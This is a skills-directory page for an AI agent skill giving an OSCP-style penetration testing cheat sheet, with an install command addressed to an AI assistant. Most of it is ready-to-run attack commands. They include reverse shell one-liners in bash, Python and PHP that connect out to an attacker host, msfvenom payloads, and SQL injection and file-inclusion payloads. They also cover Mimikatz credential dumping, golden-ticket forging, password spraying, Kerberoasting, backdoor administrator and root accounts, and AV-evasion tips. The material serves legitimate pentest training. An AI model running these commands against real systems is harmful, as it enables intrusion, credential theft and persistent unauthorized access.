oscp penetration testing methodology

OSCP Penetration Testing Methodology

Safety Notice

This listing is imported from skills.sh public index metadata. Review upstream SKILL.md and repository scripts before running.

Copy this and send it to your AI assistant to learn

Install skill "oscp penetration testing methodology" with this command: npx skills add zebbern/secops-cli-guides/zebbern-secops-cli-guides-oscp-penetration-testing-methodology

OSCP Penetration Testing Methodology

Purpose

Execute comprehensive penetration testing engagements following OSCP methodology, covering reconnaissance, enumeration, exploitation, privilege escalation, and post-exploitation phases across Windows, Linux, and Active Directory environments. This skill provides actionable commands and techniques for each phase of a professional penetration test.

Inputs / Prerequisites

Required Tools

  • Kali Linux or equivalent attack platform

  • Nmap, Gobuster, Nikto for enumeration

  • Metasploit Framework, Impacket suite

  • Mimikatz, BloodHound, PowerView for AD attacks

  • Hashcat, John the Ripper for password cracking

Environment Requirements

  • Network access to target systems

  • Proper authorization documentation

  • Note-taking application for findings

  • File transfer capabilities established

Outputs / Deliverables

Primary Outputs

  • Complete enumeration findings

  • Exploited system access documentation

  • Privilege escalation paths identified

  • Lateral movement successful demonstrations

Core Workflow

Phase 1: Port Scanning and Enumeration

Initial Scanning

Basic scan with version detection

nmap -sC -sV <IP> -v

Complete scan all ports

nmap -T4 -A -p- <IP> -v

Vulnerability scanning

sudo nmap -sV -p 443 --script "vuln" <IP>

PowerShell port scan

1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("IP", $)) "TCP port $ is open"}

Phase 2: Service Enumeration

FTP Enumeration (Port 21)

Connect and test anonymous access

ftp <IP>

Try: anonymous / anonymous

Nmap scripts

nmap -p21 --script=ftp-anon,ftp-bounce <IP>

Brute force

hydra -L users.txt -P passwords.txt <IP> ftp

SSH Enumeration (Port 22)

Connect with password

ssh user@IP

Connect with key

chmod 600 id_rsa ssh user@IP -i id_rsa

Crack encrypted key

ssh2john id_rsa > hash john --wordlist=rockyou.txt hash

Brute force

hydra -l user -P passwords.txt <IP> ssh

SMB Enumeration (Port 445)

NetBIOS scan

sudo nbtscan -r 192.168.50.0/24

CrackMapExec enumeration

crackmapexec smb <IP> -u user -p pass --shares crackmapexec smb <IP> -u user -p pass --users crackmapexec smb <IP> -u user -p pass --all

SMBclient

smbclient -L //<IP> smbclient //<IP>/share -U user

Download all files from share

smbclient //<IP>/share -U user

mask "" recurse ON prompt OFF mget *

HTTP/HTTPS Enumeration

Directory discovery

gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/big.txt dirsearch -u http://<IP> -w wordlist.txt

Vulnerability scanning

nikto -h <url>

WordPress

wpscan --url "target" --enumerate vp,u,vt,tt

Drupal

droopescan scan drupal -u http://site

API fuzzing

gobuster dir -u http://<IP>:5002 -w big.txt -p pattern curl -i http://<IP>:5002/users/v1

LDAP Enumeration (Port 389)

Anonymous bind

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=domain,DC=com"

Authenticated

ldapsearch -x -H ldap://<IP> -D 'DOMAIN\user' -w 'pass' -b "CN=Users,DC=domain,DC=com"

windapsearch

python3 windapsearch.py --dc-ip <IP> -u user -p pass --users python3 windapsearch.py --dc-ip <IP> -u user -p pass --da

SNMP Enumeration (Port 161)

snmpcheck -t <IP> -c public snmpwalk -c public -v1 -t 10 <IP>

Phase 3: Web Attacks

Directory Traversal

Linux

http://target/page.php?file=../../../../../etc/passwd

Windows

http://target/page.php?file=../../../../../Windows/System32/drivers/etc/hosts

URL encoded

curl http://<IP>/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

Local File Inclusion (LFI)

Log poisoning

http://<IP>/index.php?page=../../../../../var/log/apache2/access.log

Inject PHP in User-Agent, then trigger via log

PHP wrappers

curl "http://<IP>/index.php?page=php://filter/convert.base64-encode/resource=config.php" curl "http://<IP>/index.php?page=data://text/plain,<?php%20system('id');?>"

SQL Injection

-- Authentication bypass admin' or '1'='1 ' or '1'='1'-- " or "1"="1"--

-- Time-based detection ' AND IF (1=1, sleep(3),'false') --

SQLMap Exploitation

Test parameter

sqlmap -u http://<IP>/page.php?id=1 -p id

Dump database

sqlmap -u http://<IP>/page.php?id=1 -p id --dump

OS shell

sqlmap -r request.txt -p item --os-shell --web-root "/var/www/html"

Phase 4: Exploitation

Reverse Shell Payloads

Windows executables

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell.exe

Linux

bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

Python

python -c 'import socket,os,pty;s=socket.socket();s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

PHP

<?php echo shell_exec('bash -i >& /dev/tcp/<IP>/<PORT> 0>&1');?>

File Transfers

Windows download

powershell -c Invoke-WebRequest -Uri http://<IP>/file -Outfile C:\temp\file certutil -urlcache -split -f "http://<IP>/file" file

Linux download

wget http://<IP>/file curl http://<IP>/file -o output

SMB transfer (Kali to Windows)

impacket-smbserver -smb2support share .

Windows: copy \<IP>\share\file .

Phase 5: Windows Privilege Escalation

Automated Enumeration

Run winPEAS

.\winpeas.exe

PowerUp

Import-Module .\PowerUp.ps1 Invoke-AllChecks

Token Impersonation

PrintSpoofer

PrintSpoofer.exe -i -c powershell.exe

GodPotato

GodPotato.exe -cmd "shell.exe"

JuicyPotatoNG

JuicyPotatoNG.exe -t * -p "shell.exe" -a

Service Exploitation

Unquoted service path

wmic service get name,pathname | findstr /i /v "C:\Windows\" | findstr /i /v """

Check permissions

icacls "C:\path\to\service"

Modify and restart

sc config <service> binpath="C:\path\to\shell.exe" sc start <service>

AlwaysInstallElevated

Check

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Exploit

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f msi > shell.msi msiexec /quiet /qn /i shell.msi

Credential Hunting

PowerShell history

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Search for passwords

findstr /si password *.xml *.ini *.txt *.config

Registry

reg query HKLM /f password /t REG_SZ /s

Saved credentials

cmdkey /list runas /savecred /user:admin C:\shell.exe

Phase 6: Linux Privilege Escalation

TTY Shell Upgrade

python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm

Ctrl+Z, then:

stty raw -echo; fg

Enumeration

LinPEAS

./linpeas.sh

Sudo

sudo -l

SUID

find / -perm -u=s -type f 2>/dev/null

Capabilities

getcap -r / 2>/dev/null

Cron jobs

cat /etc/crontab

Sensitive Files

SSH keys

cat ~/.ssh/id_rsa cat /root/.ssh/id_rsa

Password files

cat /etc/passwd cat /etc/shadow

Phase 7: Active Directory Attacks

Enumeration with PowerView

Import-Module .\PowerView.ps1

Get-NetDomain Get-NetUser | select samaccountname Get-NetGroup Get-NetComputer Find-LocalAdminAccess Get-NetUser -SPN | select samaccountname,serviceprincipalname

BloodHound Collection

SharpHound

Import-Module .\Sharphound.ps1 Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\temp

bloodhound-python

bloodhound-python -u 'user' -p 'pass' -ns <DC-IP> -d domain.com -c all

Password Spraying

CrackMapExec

crackmapexec smb <IP> -u users.txt -p 'Password123' -d domain --continue-on-success

Kerbrute

kerbrute passwordspray -d domain.com users.txt "Password123"

AS-REP Roasting

Impacket

impacket-GetNPUsers -dc-ip <DC-IP> domain/user:pass -request

Crack hash

hashcat -m 18200 hash.txt rockyou.txt --force

Kerberoasting

Rubeus

.\Rubeus.exe kerberoast /outfile:hashes.txt

Impacket

impacket-GetUserSPNs -dc-ip <DC-IP> domain/user:pass -request

Crack

hashcat -m 13100 hashes.txt rockyou.txt --force

Lateral Movement

psexec

psexec.py domain/user:pass@<IP> psexec.py -hashes :NTLM_HASH domain/user@<IP>

smbexec

smbexec.py domain/user:pass@<IP>

wmiexec

wmiexec.py domain/user:pass@<IP>

winrs (Windows)

winrs -r:<computer> -u:user -p:pass "cmd"

Mimikatz

privilege::debug sekurlsa::logonpasswords lsadump::sam lsadump::lsa /patch

Golden Ticket

Dump krbtgt hash

lsadump::lsa /inject /name:krbtgt

Create ticket

kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:<HASH> /ptt

Phase 8: Password Cracking

Hashcat

Identify hash type: https://hashcat.net/wiki/doku.php?id=example_hashes

hashcat -m <mode> hash.txt rockyou.txt --force

Common modes

0 = MD5

100 = SHA1

1000 = NTLM

1800 = sha512crypt

13100 = Kerberoast

18200 = AS-REP

John the Ripper

Convert formats

ssh2john id_rsa > hash keepass2john Database.kdbx > hash

Crack

john --wordlist=rockyou.txt hash

Quick Reference

Important Windows Locations

C:/Windows/repair/SAM C:/Windows/System32/config/SAM C:/Windows/Panther/Unattend.xml C:/inetpub/wwwroot/web.config %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Important Linux Locations

/etc/passwd /etc/shadow /etc/crontab /etc/exports ~/.ssh/id_rsa ~/.bash_history /var/www/html/

Adding Users

Windows

net user hacker Password123 /add net localgroup Administrators hacker /add

Linux

useradd -u 0 -g 0 -o -d /root hacker

Constraints and Guardrails

Operational Boundaries

  • Operate only within authorized scope

  • Document all findings and actions

  • Avoid denial of service conditions

  • Report critical findings immediately

Technical Limitations

  • Some exploits require specific conditions

  • AV/EDR may block common tools

  • Network segmentation limits lateral movement

  • Modern systems have enhanced protections

Troubleshooting

Shell Not Connecting

  • Check firewall rules on both ends

  • Try alternate ports (443, 80)

  • Use encoded payloads to bypass AV

Exploit Not Working

  • Verify exact version matches

  • Check architecture (x86 vs x64)

  • Test in isolated environment first

No Privilege Escalation Path

  • Run multiple enumeration scripts

  • Check manual techniques

  • Look for credential reuse

  • Consider kernel exploits as last resort

Source Transparency

This detail page is rendered from real SKILL.md content. Trust labels are metadata-based hints, not a safety guarantee.

Related Skills

Related by shared tags or category signals.

Coding

sql injection testing

No summary provided by upstream source.

Repository SourceNeeds Review
Coding

top 100 web vulnerabilities reference

No summary provided by upstream source.

Repository SourceNeeds Review
Coding

active directory attacks

No summary provided by upstream source.

Repository SourceNeeds Review